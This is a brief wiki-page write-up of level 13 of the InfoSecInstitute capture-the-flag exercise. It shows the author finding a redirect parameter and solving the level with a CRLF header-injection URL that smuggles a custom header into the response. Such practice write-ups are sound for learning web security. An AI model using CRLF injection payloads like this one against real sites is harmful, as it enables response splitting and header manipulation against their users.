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I am I. edited this page Jul 9, 2015 · 1 revision

InfoSecInstituteCTF

Level13

Try adding a remote URL in the appropriate GET parameter

It’s pretty strange that level13 leads to ex13-task.php, while others lead to ex#.php :) Lets visit exp13.php "Get a Hint" Lets try few tricks : http://ctf.infosecinstitute.com/ctf2/exercises/ex13-task.php?redirect=test Nothing http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=test Bingo :) Now we have to inject the header : ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=%0d%0a%20CostumHeader:INJECTED

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